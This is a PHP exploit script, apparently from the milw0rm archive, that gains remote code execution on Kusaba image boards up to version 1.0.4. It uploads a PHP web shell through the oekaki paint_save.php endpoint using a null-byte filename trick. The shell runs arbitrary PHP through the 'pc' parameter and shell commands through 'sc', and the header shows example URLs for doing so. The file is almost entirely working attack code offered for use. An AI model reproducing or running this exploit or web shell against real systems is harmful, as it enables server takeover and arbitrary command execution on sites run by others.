65 lines
No EOL
1.6 KiB
PHP
65 lines
No EOL
1.6 KiB
PHP
<?php
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/**********************************
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9 Oct 2008
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Kusaba <= 1.0.4 Remote Code Execution
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Sausage <tehsausage@gmail.com>
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After execution:
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http://www.kusaba.image.board/url/kasubaoek/oekaki.php?pc=print "Hello";
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http://www.kusaba.image.board/url/kasubaoek/oekaki.php?sc=echo Hello
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**********************************/
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$shellname = 'oekaki.php'; // any filename ending in php
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$server = 'http://www.kusaba.image.board/url/'; // BBS website, with
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trailing slash
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$image = file_get_contents('test.jpg'); // image to upload (any valid
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picture)
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$magicquotes = true;
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if ($magicquotes)
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{
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$shellcode = <<<endSHELL
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<?php
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isset(\$_GET['pc'])?(eval(urldecode(stripslashes(\$_GET['pc'])))):(isset(\$_GET['sc'])?(passthru(urldecode(stripslashes(\$_GET['sc'])))):(header('Location:
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../')));
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endSHELL;
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}
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else
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{
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$shellcode = <<<endSHELL
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<?php
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isset(\$_GET['pc'])?(eval(urldecode(\$_GET['pc']))):(isset(\$_GET['sc'])?(passthru(urldecode(\$_GET['sc']))):(header('Location:
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../')));
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endSHELL;
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}
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$adata = array(
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'No clue' => 'what this is for',
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);
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function build_data($adata)
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{
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$data = '';
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foreach ($adata as $k => $v)
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{
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$data .= "$k=$v;";
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}
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return substr($data,0,-1);
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}
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function data_len($data)
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{
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return str_pad(strlen($data),8,'0',STR_PAD_LEFT);
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}
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$request = new
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HttpRequest($server.'paint_save.php?applet=shipainter&saveid='.$shellname.'%00',HttpRequest::METH_POST);
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$data = build_data($adata);
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$imagedata = $image;
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$animationdata = $shellcode;
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$request->setRawPostData("S".data_len($data).$data.data_len($imagedata).'xx'.$imagedata.data_len($animationdata).$animationdata);
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echo $request->send()->getBody();
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# milw0rm.com [2008-10-09]
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